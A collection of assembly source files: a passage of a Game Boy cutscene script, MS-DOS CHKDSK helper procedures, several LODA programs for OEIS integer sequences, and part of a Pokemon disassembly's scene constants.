ld a,150
call Delay
.gyro_haiku
call ((.gyroPopOut-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM gyro_haiku_gtx
ld de,((.married-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,11
call ((.animateGyroSprite-L1103_Load2)+levelCheckRAM)
.married
ld hl,$140c
call ((.loadGang-L1103_Load2)+levelCheckRAM)
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM preacher_married_gtx
ld de,((.notSoFast-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld a,150
call Delay
.notSoFast
call ((.setupGyroSpritesInOpen-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM gyro_notsofast_gtx
ld de,((.captainWhyNot-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,5
call ((.animateGyroSprite-L1103_Load2)+levelCheckRAM)
.captainWhyNot
call ((.loadCaptain-L1103_Load2)+levelCheckRAM)
ld de,((.because-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,0
DIALOGBOTTOM captain_why_gtx
ld d,2
LONGCALLNOARGS AnimateCaptainAtWedding
.because
call ((.setupGyroSpritesInOpen-L1103_Load2)+levelCheckRAM)
ld a,30
call Delay
call ((.shedCostume-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM gyro_reveals_gtx
ld de,((.captainThankYou-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,11
call ((.animateGyroSprite-L1103_Load2)+levelCheckRAM)
.captainThankYou
call ((.loadCaptain-L1103_Load2)+levelCheckRAM)
ld de,((.notYummy-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,0
DIALOGBOTTOM captain_thankyou_gtx
ld d,3
LONGCALLNOARGS AnimateCaptainAtWedding
.notYummy
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ClearDialog
ld a,BANK(gyro_big_bg)
ld hl,gyro_big_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM gyro_notyummy_gtx
ld de,((.recall-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateGyroAtWedding
.recall
ld c,0
DIALOGBOTTOM gyro_recall_gtx
ld de,((.surrender-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateGyroAtWedding
.surrender
ld c,0
DIALOGBOTTOM gyro_surrender_gtx
ld de,((.difficult-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateGyroAtWedding
.difficult
ld c,0
DIALOGBOTTOM gyro_difficult_gtx
ld de,((.captainOkay-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateGyroAtWedding
.captainOkay
call ((.loadCaptain-L1103_Load2)+levelCheckRAM)
ld de,((.ladyDontBeSilly-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,0
DIALOGBOTTOM captain_okay_gtx
ld d,3
LONGCALLNOARGS AnimateCaptainAtWedding
.ladyDontBeSilly
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ClearDialog
ld a,BANK(flower_at_wedding_bg)
ld hl,flower_at_wedding_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM lady_dontbesilly_gtx
ld de,((.endCinema-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateLadyAtWedding
.endCinema
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
ld hl,2400 ;captain flour
ld a,l
ld [hero0_class],a
ld a,h
ld [hero0_class+1],a
ld a,HERO_FLOUR_FLAG
ld [hero0_type],a
ld hl,2398 ;haiku
ld a,l
ld [hero1_class],a
ld a,h
ld [hero1_class+1],a
ld a,HERO_FLOWER_FLAG
ld [hero1_type],a
ld a,EXIT_S
ld [hero0_enterLevelFacing],a
ld [hero1_enterLevelFacing],a
ld hl,$0604
ld a,l
ld [curLevelIndex],a
ld a,h
ld [curLevelIndex+1],a
ld a,1
ld [timeToChangeLevel],a
ret
.shedCostume
ld b,30
.shedCostumeLoop
;move sprites 12-29 3 pixels right and 1 down
ld c,18
ld de,3
ld hl,spriteOAMBuffer+12*4
.shedCostumeSpriteLoop
inc [hl]
inc hl
inc [hl]
inc [hl]
inc [hl]
add hl,de
dec c
jr nz,.shedCostumeSpriteLoop
ld a,1
call Delay
dec b
jr nz,.shedCostumeLoop
ret
.loadCaptain
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ClearDialog
call ResetSprites
ld a,BANK(flour_at_wedding_bg)
ld hl,flour_at_wedding_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ret
.setupGyroSpritesInOpen
call ((.prepGyroSprites-L1103_Load2)+levelCheckRAM)
ld d,$4c
call ScrollSpritesRight
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ret
.animateGyroSprite
;ld c,11
.animateGyroSpriteLoop
ld b,8
call ((.shiftSpritePatterns-L1103_Load2)+levelCheckRAM)
ld a,5
call Delay
ld b,-8
call ((.shiftSpritePatterns-L1103_Load2)+levelCheckRAM)
ld a,5
call Delay
dec c
jr nz,.animateGyroSpriteLoop
ld a,50
call Delay
ret
.shiftSpritePatterns
push bc
ld hl,spriteOAMBuffer+4*4+2
ld de,4
ld c,4
.shiftSpriteLoop
ld a,[hl]
add b
ld [hl],a
add hl,de
dec c
jr nz,.shiftSpriteLoop
pop bc
ret
.loadGang
push hl
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ClearDialog
call ResetSprites
ld a,BANK(gang_watches_wedding_bg)
ld hl,gang_watches_wedding_bg
call LoadCinemaBG
pop hl
ld bc,$0d06
ld de,$0704
call CinemaBlitRect
ret
.gyroPopOut
call ((.prepGyroSprites-L1103_Load2)+levelCheckRAM)
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld de,((.poppedOut-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld a,30
call Delay
ld c,48
.popOutLoop
ld d,1
call ScrollSpritesRight
ld a,2
call Delay
dec c
jr nz,.popOutLoop
.poppedOut
ld de,0
call SetDialogForward
ld a,[spriteOAMBuffer+1] ;1st sprite xpos should be $4c
cpl
add $4d
ld d,a
call ScrollSpritesRight
ret
.prepGyroSprites
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ResetSprites
ld a,BANK(gyro_tree_bg)
ld hl,gyro_tree_bg
call LoadCinemaBG
ld a,BANK(gyro_costume_sp)
ld hl,gyro_costume_sp
call LoadCinemaSprite
;kill sprites 8-11 (alternate mouth)
ld hl,spriteOAMBuffer + 4 * 8
xor a
ld de,3
ld c,4
.kill8to11
ld [hl+],a ;sprite 8 y pos to zero
add hl,de
dec c
jr nz,.kill8to11
;move sprites 12-29 40 pixels up and 8 pixels left
ld c,18
.scootCostume
ld a,[hl]
sub 40
ld [hl+],a
ld a,[hl]
sub 8
ld [hl],a
add hl,de
dec c
jr nz,.scootCostume
ld d,20
call ScrollSpritesRight
ld d,40
call ScrollSpritesDown
;set the priority of all sprites to appear behind BG
ld hl,spriteOAMBuffer + 3
ld de,3
ld c,40
.setPriorityLoop
ld a,[hl]
or %10000000
ld [hl+],a
add hl,de
dec c
jr nz,.setPriorityLoop
ret
.quickToBlack
call BlackoutPalette
call ClearDialog
jp ResetSprites
.quickFromBlack
ld a,1
jp SetupFadeFromBlack
L1103_LoadFinished:
;---------------------------------------------------------------------
; Map
;---------------------------------------------------------------------
L1103_Map:
;---------------------------------------------------------------------
; Init
;---------------------------------------------------------------------
L1103_Init:
DW ((L1103_InitFinished - L1103_Init2)) ;size
L1103_Init2:
ret
L1103_InitFinished:
;---------------------------------------------------------------------
; Check
;---------------------------------------------------------------------
L1103_Check:
DW ((L1103_CheckFinished - L1103_Check2)) ;size
L1103_Check2:
ret
L1103_CheckFinished:
PRINT "1103 Script Sizes (Load/Init/Check) (of $500): "
PRINT (L1103_LoadFinished - L1103_Load2)
PRINT " / "
PRINT (L1103_InitFinished - L1103_Init2)
PRINT " / "
PRINT (L1103_CheckFinished - L1103_Check2)
PRINT "\n"
|
||||
TheStack | d71635bf69fbbd7b5c3205ed4554b3b7e5ca5999 | Assemblycode:Assembly | {"size": 14732, "ext": "asm", "max_stars_repo_path": "cmd/chkdsk/chkproc2.asm", "max_stars_repo_name": "minblock/msdos", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "cmd/chkdsk/chkproc2.asm", "max_issues_repo_name": "minblock/msdos", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "cmd/chkdsk/chkproc2.asm", "max_forks_repo_name": "minblock/msdos", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 28.2763915547, "max_line_length": 91, "alphanum_fraction": 0.576839533} | TITLE CHKPROC2 - PART2 Procedures called from chkdsk
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
page ,132 ;
.xlist
include chkseg.inc ;an005;bgb
INCLUDE CHKCHNG.INC
INCLUDE DOSSYM.INC
INCLUDE CHKEQU.INC
INCLUDE CHKMACRO.INC
include pathmac.inc
include syscall.inc
include sysmsg.inc
CONST SEGMENT PUBLIC PARA 'DATA'
EXTRN FIXMES_ARG:word ;an049;bgb
EXTRN FATAL_ARG:word
EXTRN BADW_ARG:word,FATAL_END:word,NullMsg:byte
EXTRN badrw_num:word,BADRW_STR:WORD,HAVFIX:byte
EXTRN DIRTYFAT:byte,CROSSCNT:dword,DOFIX:byte,SECONDPASS:byte
EXTRN BADSIZ:word,ORPHSIZ:word,ORPHFCB:byte
EXTRN HECODE:byte,USERDIR:byte,FRAGMENT:byte
EXTRN ORPHEXT:byte,ALLDRV:byte,FIXMFLG:byte,DIRCHAR:byte
EXTRN EOFVAL:word,BADVAL:word
extrn fTrunc:BYTE
CONST ENDS
DATA SEGMENT PUBLIC PARA 'DATA'
extrn fatcnt:byte, orph_arg:word ;an005;bgb;an049;bgb
EXTRN THISDPB:dword,NUL_ARG:byte
EXTRN NAMBUF:byte,SRFCBPT:word,FATMAP:word
EXTRN MCLUS:word,CSIZE:byte,SSIZE:word
EXTRN DSIZE:word,ARG_BUF:byte,ERRCNT:byte
EXTRN USERDEV:byte,HARDCH:dword,CONTCH:dword
EXTRN ExitStatus:Byte,Read_Write_Relative:Byte
extrn bytes_per_sector:word ;an005;bgb
extrn fattbl_seg:word, fatsiz:word, paras_per_fat:word ;an005;bgb
extrn fatmsg1:word ;an024;bgb
extrn fatmsg2:word ;an024;bgb
EXTRN dbcs_vector:byte ;an055;bgb
EXTRN dbcs_vector_off:word ;an055;bgb
EXTRN dbcs_vector_seg:word ;an055;bgb
DATA ENDS
CODE SEGMENT PUBLIC PARA 'CODE'
ASSUME CS:DG,DS:DG,ES:DG,SS:DG
EXTRN PRINTF_CRLF:NEAR,FCB_TO_ASCZ:NEAR
EXTRN PROMPTYN:NEAR,DIRPROC:NEAR
EXTRN DOCRLF:NEAR,UNPACK:NEAR,PACK:NEAR
EXTRN CHECKNOFMES:NEAR
EXTRN multiply_32_bits:near ;an047;bgb
extrn nowrite:near, done:near, pack:near, unpack:near
extrn promptrecover:near, findchain:near
extrn sysgetmsg:near
public RECOVER, DoAsk
public MAKORPHNAM, NAM0, NAMMADE
public GETFILSIZ, NCLUS, GOTEOF, CHKCROSS, RET8
public FATAL, hav_fatal_arg, INT_23, RDONE
public Systime ;an005;bgb
public int_24 ;an005;bgb
public CHECK_DBCS_CHARACTER ;an055;bgb
.list
pathlabl chkproc2
;*****************************************************************************
; RECOVER -
; free orphans or do chain recovery. Note that if we have NOT been able to
; process the entire tree (due to inability to CHDIR), we temporarily set
; DoFix to FALSE, do the operation, and then reset it.
;
; inputs: si - total number of clusters
; es - points to fatmap
;
; outputs: orphaned clusters are converted to files
; LOGIC
; - display dont fix msg if appropriate
; - display number of lost clusters
; - ask the user if he wants the chains converted to files
;***************************************************************************
RECOVER:
mov al,1
xchg al,[fixmflg]
or al,al
; $IF Z ; where there any errors found?
JNZ $$IF1
cmp [dofix],0 ; yes - is the /f flag off?
; $IF Z ; yes - display the dont fix msg
JNZ $$IF2
mov dx,offset dg:FIXMES_arg
CALL PRINTf_crlf
call DoCRLF ; ;AN000;
; $ENDIF
$$IF2:
; $ENDIF
$$IF1:
CALL DOCRLF
CHAINREPORT:
;;;;mov si,orphsiz ;get number of bad clusters found (recover) ;an005;bgb;an049;bgb
;;;;mov [orph_num],si ; Prints "XXX lost clusters found in YYY chains.";an049;bgb
call findchain ; On entry SI is the XXX value and the YYY value is
mov dx,offset dg:orph_arg ; in orphan-count.
call printf_crlf
TEST fTrunc,-1
; $IF NZ
JZ $$IF5
XOR AX,AX ; We have truncated the scan. Set DoFix to FALSE,
XCHG AL,DoFix ; do the operation and then restore things.
PUSH AX
CALL PromptRecover
POP AX
MOV DoFix,AL
DoAsk:
; $ELSE
JMP SHORT $$EN5
$$IF5:
CALL PromptRecover
; $ENDIF
$$EN5:
return
;*****************************************************************************
;*****************************************************************************
MAKORPHNAM:
PUSH SI
MOV SI,OFFSET DG:ORPHEXT - 1
NAM0:
INC BYTE PTR [SI]
CMP BYTE PTR [SI],'9'
JLE NAMMADE
MOV BYTE PTR [SI],'0'
DEC SI
JMP NAM0
NAMMADE:
POP SI
RET
;*****************************************************************************
; GETFILSIZ - calculate the file size based on the number of clusters.
;
; WARNING!! NOTE!! -->
;
; called by - PROCEDURE NAME
;
; inputs: AX -
; BX -
; CX -
; DX -
; SP -
; BP -
; SI - conatins the starting cluster number
; DI -
; DS -
; ES -
;
; output: AX - low word of the file size
; BX -
; CX -
; DX - hi word of the file size
; SP -
; BP -
; SI -
; DI -
; DS -
; ES -
;
; Regs abused - none
;
;logic: 1. save bx & cx for 32 bit mul
;
; 2. zero out file size results
;
; 3. do for all clusters:
;
; 4. get the next one and inc cluster counter
;
; 5. multiply clusters times sectors per cluster to give
; number of sectors in file. This can be a 2 word value - DX:AX.
;
; 6. multiply the sectors times the number of bytes per sector. This
; yields the number of bytes in the file.
;*****************************************************************************
;SI is start cluster, returns filesize as DX:AX
Procedure getfilsiz,near
savereg <bx,cx>
XOR AX,AX ;zero out low word
XOR DX,DX ;zero out high word
OR SI,SI ;did we get a zero cluster?
; $if NZ
JZ $$IF8
; $DO ;do for all clusters
$$DO9:
NCLUS: CALL UNPACK ;find the next cluster
XCHG SI,DI ;put output into input for unpack
INC AX ;found another cluster
CMP SI,[EOFVAL] ;did we find last cluster?
; $leave ae ;yes, so exit loop
JAE $$EN9
;;;;;;;CMP SI,2
;;;;;;;JAE NCLUS
; $enddo
JMP SHORT $$DO9
$$EN9:
GOTEOF:
MOV BL,[CSIZE] ;get sectors per cluster
XOR BH,BH
MUL BX ;clusters * secs/cluster = sectors
mov bx,dx ;get high num for 32bit mult
mov cx,ssize ;cx = word to mult with
call multiply_32_bits ;mul bx:ax * cx
mov dx,bx ;save high word
; $endif
$$IF8:
restorereg <bx,cx>
return
EndProc getfilsiz
;*****************************************************************************
;*****************************************************************************
Public Chkcross
CHKCROSS:
;Check for Crosslinks, do second pass if any to find pairs
MOV SI,word ptr CROSSCNT
cmp word ptr crosscnt,0 ;if there is at least one crossed
; $if nz,or
JNZ $$LL13
cmp word ptr crosscnt+2,0
; $if nz
JZ $$IF13
$$LL13:
CALL DOCRLF ;display another line
MOV SecondPass,True ; ; ;AC000;
XOR AX,AX ;
PUSH AX
PUSH AX
CALL DIRPROC ;Do it again
; $endif
$$IF13:
RET8: RET
;*****************************************************************************
;/* M002 BEGIN */
;*****************************************************************************
; BX - arg1 for the fatal error message (rely on fatmsg1 than bx)
; (this is a message no; so get the message from MSGSERVICES)
FATAL:
;Unrecoverable error
; get the message for the given arg msg no
mov ax,bx
cmp [fatmsg1],0 ; is there an arg ?
lea si, NullMsg
push ds
je NoFirstArg
mov dh,Utility_Msg_Class
call sysgetmsg
NoFirstArg:
lea bx,fatmsg1
mov [bx],si ; ptr to message
mov [bx+2],ds ;
pop ds
;
lea si,NullMsg
push ds
cmp byte ptr [nul_arg],0
jz hav_fatal_arg
mov ax,fatmsg2
mov dh,Utility_Msg_Class
call sysgetmsg
hav_fatal_arg:
lea bx,fatmsg2
mov [bx],si ; ptr to message
mov [bx+2],ds ;
pop ds
; go display the message
mov dx,offset dg:FATAL_arg
CALL PRINTf_crlf
MOV DL,[USERDEV] ;At least leave on same drive
DOS_Call Set_Default_Drive ;
; mov ExitStatus,Bad_Exit ;Get return code
; ret ;Ret Main_Init for common exit
mov al,Bad_Exit
mov ah,4ch ; terminate here itself
int 21h ;
;*****************************************************************************
; /* M002 END */
;*****************************************************************************
INT_24 PROC FAR
ASSUME DS:NOTHING,ES:NOTHING,SS:NOTHING
PUSHF
test al,Disk_Error ;Is it a disk critical err?
; $IF Z ;Yes
JNZ $$IF15
push ax
mov ax,di ;Get error (DI low) ;AN000;
cmp al,Write_Protect ;Special case errors ;AN000;
; $IF E,OR ;If write protect or ;AN000;
JE $$LL16
cmp al,Drive_Not_Ready ; if drive not ready ;AN000;
; $IF E ; ;AN000;
JNE $$IF16
$$LL16:
pop ax
CALL dword ptr HardCh ; let parent's handler decide what to do
; $ELSE ;Other error ;AN000;
JMP SHORT $$EN16
$$IF16:
pop ax ;balance stack ;AN000;
pop ax ; pop flags
mov al,Critical_Error_Fail ; fail operation
; $ENDIF ; ;AN000;
$$EN16:
; $ELSE ;Not disk error
JMP SHORT $$EN15
$$IF15:
CALL dword ptr HardCh ; let parent's handler decide what to do
; $ENDIF
$$EN15:
CMP AL,2 ;Abort? ;AC000;
; $IF E ;Yes ;AC000;
JNE $$IF21
STI ;Turn off Interrupts
CALL DONE ;Forget about directory, restore users drive
mov ExitStatus,Bad_Exit ;Get return code ;AN000;
; $ENDIF ;AN000;
$$IF21:
IRET
INT_24 ENDP
;*****************************************************************************
;*****************************************************************************
INT_23 proc far
STI
LDS DX,[HARDCH]
mov al,24h ; ;AC000;
DOS_Call Set_Interrupt_Vector ; ;AC000;
LDS DX,cs:[CONTCH] ;ac039;bgb
mov al,23h ; ;AC000;
DOS_Call Set_Interrupt_Vector ; ;AC000;
PUSH CS
POP DS
ASSUME DS:DG
MOV [FRAGMENT],0
RDONE:
CALL NOWRITE ;Restore users drive and directory
;MOV AH,EXIT
;MOV AL,0FFH
;INT 21H
mov ExitStatus,Bad_Exit ;Get return code ;AC000;
stc
ret ;Ret for common exit ;AN000;
int_23 endp
;*****************************************************************************
;*****************************************************************************
;
; Systime returns the current date in AX, current time in DX
; AX - HHHHHMMMMMMSSSSS hours minutes seconds/2
; DX - YYYYYYYMMMMDDDDD years months days
;
public Systime
Systime:
DOS_Call Get_Time ; ;AC000;
SHL CL,1 ;Minutes to left part of byte
SHL CL,1
SHL CX,1 ;Push hours and minutes to left end
SHL CX,1
SHL CX,1
SHR DH,1 ;Count every two seconds
OR CL,DH ;Combine seconds with hours and minutes
MOV DX,CX
PUSH DX ; Save time
;
; WARNING! MONTH and YEAR must be adjacently allocated
;
DOS_Call Get_Date ; ;AC000;
SUB CX, 1980
MOV AX, CX
MOV CL, 4
SHL AL, CL ; Push year to left for month
OR AL, DH ; move in month
MOV CL,4
SHL AX,CL ;Push month to left to make room for day
SHL AX,1
OR AL, DL
POP DX ; Restore time
XCHG AX, DX ; Switch time and day
return
;***************************************************************************** ;an055;bgb
;Routine name: Check_DBCS_CharACter ;an055;bgb
;***************************************************************************** ;an055;bgb
; ;an055;bgb
;Description: Check if specified byte is in rANges of DBCS vectors ;an055;bgb
; ;an055;bgb
;Called Procedures: None ;an055;bgb
; ;an055;bgb
;ChANge History: Created 6/12/87 MT ;an055;bgb
; ;an055;bgb
;Input: AL = CharACter to check for DBCS lead charACter ;an055;bgb
; DBCS_Vector = YES/NO ;an055;bgb
; ;an055;bgb
;Output: CY set if DBCS charACter ;an055;bgb
; DBCS_VECTOR = YES ;an055;bgb
; ;an055;bgb
; ;an055;bgb
;Psuedocode ;an055;bgb
;---------- ;an055;bgb
; Save registers ;an055;bgb
; IF DBCS vector not found ;an055;bgb
; Get DBCS environmental vector (INT 21h ;an055;bgb
; Point at first set of vectors ;an055;bgb
; ENDIF ;an055;bgb
; SEARCH ;an055;bgb
; LEAVE End of DBCS vectors ;an055;bgb
; EXITIF CharACter > X1,AND (X1,Y1) are environment vectors ;an055;bgb
; EXITIF CharACter < Y1 ;an055;bgb
; STC (DBCS charACter) ;an055;bgb
; ORELSE ;an055;bgb
; Inc pointer to next set of vectors ;an055;bgb
; ENDLOOP ;an055;bgb
; CLC (Not DBCS charACter) ;an055;bgb
; ENDSRCH ;an055;bgb
; Restore registers ;an055;bgb
; ret ;an055;bgb
;***************************************************************************** ;an055;bgb
DBCS_Vector_Size equ 2 ;an055;bgb
end_of_vector equ 0 ;an055;bgb
Procedure Check_DBCS_Character ; ;an055;bgb
push ds ;Save registers ;an055;bgb
push si ; " " " " ;an055;bgb
push ax ; " " " " ;an055;bgb
;;;;;;;;push ds ; " " " " ;an055;bgb
;;;;;;;;pop es ;Establish addressability ;an055;bgb
cmp byte ptr es:DBCS_VECTOR,Yes ;Have we set this yet? ;an055;bgb
; $IF NE ;Nope ;an055;bgb
JE $$IF23
push ax ;Save input charACter ;an055;bgb
mov al,0 ;Get DBCS environment vectors ;an055;bgb
DOS_Call Hongeul ; " " " " ;an055;bgb
mov byte ptr es:DBCS_VECTOR,YES ;Indicate we've got vector ;an055;bgb
mov es:DBCS_Vector_Off,si ;Save the vector ;an055;bgb
mov ax,ds ; ;an055;bgb
mov es:DBCS_Vector_Seg,ax ; ;an055;bgb
pop ax ;Restore input charACter ;an055;bgb
; $ENDIF ; for next time in ;an055;bgb
$$IF23:
mov si,es:DBCS_Vector_Seg ;Get saved vector pointer ;an055;bgb
mov ds,si ; ;an055;bgb
mov si,es:DBCS_Vector_Off ; ;an055;bgb
; $SEARCH ;Check all the vectors ;an055;bgb
$$DO25:
cmp word ptr ds:[si],End_Of_Vector ;End of vector table? ;an055;bgb
; $LEAVE E ;Yes, done ;an055;bgb
JE $$EN25
cmp al,ds:[si] ;See if char is in vector ;an055;bgb
; $EXITIF AE,AND ;If >= to lower, ANd ;an055;bgb
JNAE $$IF25
cmp al,ds:[si+1] ; =< thAN higher rANge ;an055;bgb
; $EXITIF BE ; then DBCS charACter ;an055;bgb
JNBE $$IF25
stc ;Set CY to indicate DBCS ;an055;bgb
; $ORELSE ;Not in rANge, check next ;an055;bgb
JMP SHORT $$SR25
$$IF25:
add si,DBCS_Vector_Size ;Get next DBCS vector ;an055;bgb
; $ENDLOOP ;We didn't find DBCS char ;an055;bgb
JMP SHORT $$DO25
$$EN25:
clc ;Clear CY for exit ;an055;bgb
; $ENDSRCH ; ;an055;bgb
$$SR25:
pop ax ;Restore registers ;an055;bgb
pop si ; " " " " ;an055;bgb
pop ds ;Restore data segment ;an055;bgb
ret ; ;an055;bgb
Check_DBCS_CharACter endp ; ;an055;bgb
pathlabl chkproc2
CODE ENDS
END
|
||||
TheStack | 7ac8448fdcb8fa9300cfb868a8c222a79722094e | Assemblycode:Assembly | {"size": 418, "ext": "asm", "max_stars_repo_path": "oeis/028/A028199.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/028/A028199.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/028/A028199.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 24.5882352941, "max_line_length": 176, "alphanum_fraction": 0.6889952153} | ; A028199: Expansion of 1/((1-5x)(1-10x)(1-11x)(1-12x)).
; Submitted by Jon Maiga
; 1,38,917,17950,311181,4984638,75555157,1099718270,15519848861,213791759038,2888580642597,38416793758590,504293367484141,6547729455298238,84231046860437237,1075013759173110910
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
mul $1,11
sub $2,1
sub $0,$2
seq $0,20568 ; G.f.: 1/((1-5x)(1-10x)(1-12x)).
add $1,$0
lpe
mov $0,$1
|
||||
TheStack | 18d1ac6df8234aed6caf4648c74584bb2994d7da | Assemblycode:Assembly | {"size": 403, "ext": "asm", "max_stars_repo_path": "oeis/268/A268479.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/268/A268479.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/268/A268479.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 19.1904761905, "max_line_length": 192, "alphanum_fraction": 0.6401985112} | ; A268479: For p = prime(n), number of primes (including p) in the trajectory of p under the procedure in A244550, also allowing the Wieferich prime 2, that are not terms of a repeating cycle.
; Submitted by Christian Krause
; 0,0,1,2,0,1,1,1,2,1,3,1,1,2
mov $3,$0
pow $0,2
add $3,8
mov $2,$3
lpb $0
add $0,$2
mov $3,$1
lpb $0
add $3,$0
div $0,4
lpe
lpe
lpb $3
mod $3,4
lpe
mov $0,$3
|
||||
TheStack | fccfb78f181fe1a3c3329cc8a366232d96325b1d | Assemblycode:Assembly | {"size": 749, "ext": "asm", "max_stars_repo_path": "oeis/077/A077910.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/077/A077910.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/077/A077910.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 34.0454545455, "max_line_length": 489, "alphanum_fraction": 0.7209612817} | ; A077910: Expansion of 1/((1-x)*(1+x+2*x^2-2*x^3)).
; Submitted by Jamie Morken(s2)
; 1,0,-1,4,-1,-8,19,-4,-49,96,-5,-284,487,72,-1613,2444,927,-9040,12075,7860,-50089,58520,57379,-274596,276879,387072,-1490021,1269636,2484551,-8003864,5574035,15402796,-42558593,22901072,93021707,-223941036,83699767,550225720,-1165507325,232455420,3199010671,-5994936160,61825659,18326068004,-30439591641,-6088893048,103620212339,-152321609524,-67096601249,578980244976,-749430261525,-542723430924,3199544443927,-3612958105128,-3871577644573,17496582742684,-16979343663793,-25756977110720
mov $1,2
mov $2,2
mov $3,2
lpb $0
sub $0,1
mul $2,2
sub $3,$1
add $1,$3
sub $1,2
add $2,$3
add $1,$2
sub $2,$1
add $3,$2
lpe
mov $0,$3
mul $0,10
div $0,20
|
||||
TheStack | 471cca2ef6bccc4b4a43a20fe808f6c7ffedae0f | Assemblycode:Assembly | {"size": 5028, "ext": "asm", "max_stars_repo_path": "constants/scene_constants.asm", "max_stars_repo_name": "zavytar/pokecolorless", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "constants/scene_constants.asm", "max_issues_repo_name": "zavytar/pokecolorless", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "constants/scene_constants.asm", "max_forks_repo_name": "zavytar/pokecolorless", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 28.0893854749, "max_line_length": 77, "alphanum_fraction": 0.8102625298} | ; See data/maps/scenes.asm for which maps have scene variables.
; Each scene_script and coord_event is associated with a current scene ID.
; Scene variables default to 0.
SCENE_DEFAULT EQU 0
; Often a map will have a one-time default event for scene 0, and switch to a
; do-nothing scene 1 when the event finishes.
SCENE_FINISHED EQU 1
; wPokecenter2FSceneID
const_def 1
const SCENE_POKECENTER2F_LEAVE_TRADE_CENTER ; 1
const SCENE_POKECENTER2F_LEAVE_COLOSSEUM ; 2
const SCENE_POKECENTER2F_LEAVE_TIME_CAPSULE ; 3
const SCENE_POKECENTER2F_LEAVE_MOBILE_TRADE_ROOM ; 4
const SCENE_POKECENTER2F_LEAVE_MOBILE_BATTLE_ROOM ; 5
